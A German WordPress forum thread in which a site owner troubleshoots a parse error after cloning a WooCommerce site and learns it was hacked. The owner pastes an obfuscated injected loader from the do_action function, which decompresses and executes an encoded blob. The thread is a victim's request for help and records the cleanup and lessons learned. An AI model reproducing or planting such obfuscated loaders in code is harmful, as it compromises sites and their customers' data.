Parse Error nach klonen der Webseite auf dem Original

Hallo zusammen

Gestern habe ich versucht, meine Webseite beim selben Hoster zu klonen. Webspace und Datenbank hat der Hoster dazu vorbereitet. Also:
- Backup der Daten mit FileZilla
- Backup der Datenbank in phpmyadmin
- Dateien an neuen Ort kopieren mit FileZilla
- ändern der wp-config (Datenbank Zugang)
- Import der Datenbank auf neue Datenbank
- ändern von wp-options in der datenbank für site url und home

Dann erschien ein kritischer Fehler auf dem Klon:
Parse error: syntax error... /formatting.php on line 5953

Beim Recherchieren bin ich darauf gekommen, dass ich noch "Better Search Replace" hätte verwenden können. Nur kam ich ja gar nicht ins Backend. Ebenfalls Fehlerquellen wurden FileZilla als FTP-Client genannt oder das YOAST SEO Plugin solche Fehler verursachen kann. Ich habe die Plugins in FTP deaktiviert, aber ohne Erfolg.

Bisher nichts dramatisches. Irgendwie kann der Fehler sicher behoben werden.... nur als plötzlich die originale Site denselben kritischen Fehler ausgibt, wirds für mich nicht nachvollziehbar. Dort habe ich absolut keine Änderungen vorgenommen, aber es erscheint derselbe parse error in formatting.php.

Der Hoster hat heute die Site wiederhergestellt, den Klon habe ich vorher gelöscht. Scheinbar kann der Klon auch mit UpdraftPlus oder Duplicate erstellt werden, werde dies mal so versuchen. Hat jemand eine Idee, wie der kritische Fehler auf die originale Website gekommen ist?

Vielen Dank schon mal und mfg

[size=18]Wordpress Version: 5.7.8
PHP-Version: 7.4.11
[/SIZE]

Die Zeile 5953 ist riesig und beschreibt in der function _wp_emoji_list das gesamte $entities array. ich versuche den Code mal zu posten hier, in einer separaten Antwort. (edit: musste beide arrays kürzen um zu posten)

Habe die Ergänzung erst jetzt gesehen...
- zu alt: gestern Mittag hats noch funktioniert...
- gehackt: glaube ich kaum, zumal ich genau am Nachmittag den Klon erstellen wollte und der Fehler erst dann aufgetaucht ist
- Hoster hatte ich am Telefon, da wurde gestern auch nichts umgestellt

Danke für den Hinweis! binary mode ist mir neu, kann dies beim nächsten mal testen. Wie erwähnt läuft das System nun ja wieder und ein Test ist aktuell nicht möglich.

Das defekte originale System hat die Meldungen FM01.png ausgegeben.

Ich habe mit FileZilla (ohne binary mode) eine funktionierende formatting.php hochgeladen, mit demselben Resultat.

Die originale WordPress formatting.php habe ich auch noch hochgeladen (dann mit WinSCP) mit dem Ergebnis FM02.png. Jedoch habe ich nicht exakt meine Version gesucht/gefunden, danke für den Link!

Die Problemsuche gestaltet sich so schwierig. Mich interessiert aktuell aber vorwiegend die Ursache. Wie konnte die originale Webseite zerschossen werden, ohne dass ich an den Daten oder der Datenbank etwas geändert habe? Einzige Idee aktuell ist, dass ein Plugin vom Klon noch einen Verweis auf die ursprüngliche Webseite hatte und dabei Dateien verändert hat. Dazu dann die Frage: wie kann dies verhindert werden? Zur Erstellung eines Klons habe ich ja die Möglichkeiten:
- Daten kopieren (wie ich es gemacht habe und dann Verzeichnisse und Datenbankangaben ändern)
- Tool benutzen (Duplicate, UpdraftPlus, ...)

hmmm... spezieller Code, 452 ist die dritte Zeile:

function do_action( $tag, ...$arg ) {


    $GDZxtpz = 'create'.'_'.'function'; $sSbiKyg = 'gz'.'unc'.'ompress'; $index = $GDZxtpz('', $sSbiKyg('xœÁ
Â0†_%ó°µ0ÂÁ‡)]×vÖ5cõÝuâEñ¸C.áçû“Z‘QRÓ@¬koEf“NÕ2û#Ʊöd”ãàqŠ[séÙöŒÑõ    G—Ú+
H}cç]t±òÆ…K³°„ý±ªä@hÉ[egJœ^â\'É3òDöYç)¸ß!‹ƒíTÐlœØàk›Þeeõ¬W)aQùæÇq}þÿÓ„.ÖŸÀý¿â')); $index();




    global $wp_filter, $wp_actions, $wp_current_filter;


    if ( ! isset( $wp_actions[ $tag ] ) ) {
        $wp_actions[ $tag ] = 1;
    } else {
        ++$wp_actions[ $tag ];
    }

Ein lauffähiges Backup vom Januar zeig jedoch dieselben Zeilen...

Irgendwie habe ich leider das Gefühl, dass ihr wisst, wovon ihr schreibt... :(

Leider habe ich nicht mehr so viele Backups, dass ich dies zurückverfolgen kann. Da ich Updates jeweils nicht superschnell installiere (daher Version 5.7.8, dasselbe bei Plugins), könnte dies eine Möglichkeit sein. Den Rest könnte ich evtl. alleine schaffen... aber mehr Erfahrung schadet sicher nicht ;).

Hack heisst, irgendwer hat jetzt Teile oder die kompletten Daten, welche auf der Webseite vorhanden sind? Ist mit Woocommerce nicht so toll...

Und kann somit die geklonte Seite mit dem Schadcode dafür gesorgt haben, dass die originale Website zerschossen wurde? Somit hätte ich quasi Glück gehabt, dass ich es so entdeckt habe.

Vielen Dank! Toller Support hier im Forum!!!

Kleines Update meinerseits... Danke für eure Hilfe!

Der Online-Shop ist in der Schweiz. Aktuell wird darüber diskutiert, ob eine Meldepflicht eingeführt wird. Der Nationalrat hat dies am 16.3.2023 befürwortet und nun entscheidet der Ständerat über die Einführung.

In meiner Nähe habe ich jemanden gefunden, der mir helfen konnte. Der Angriff kam vermutlich über ein veraltetes resp. nicht aktualisiertes Plugin (W3 Total Cache). Er hat zur Analyse unter anderem über wp-cli die Dateien mit den Originaldateien von Wordpress verglichen und serverseitige Prüfungen gemacht sowie anschliessend die im Link oben angegebenen Massnahmen abgearbeitet.

Meine learnings:
- Backupsoftware einsetzen und testen. Backups wurden zwar mit Updraft gemacht, aber nicht richtig getestet. Mit Duplicator habe ich nun eine gute Lösung für mich gefunden.
- Sicherheitsplugin verwenden, welches meine Wordpress-Installation regelmässig prüft und mich warnt
- Updates zeitnah auf Testinstallation ausführen und falls erfolgreich auf der Live-Site einsetzen
- Bei Einführung von Zahlungsmethoden externen Dienstleister beauftragen für diese und zusätzliche Prüfungen, da ich mir sowieso zu wenig Zeit dafür freinehmen kann